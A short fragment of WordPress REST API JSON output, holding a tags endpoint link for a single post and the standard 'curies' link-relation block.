ero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=64500"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}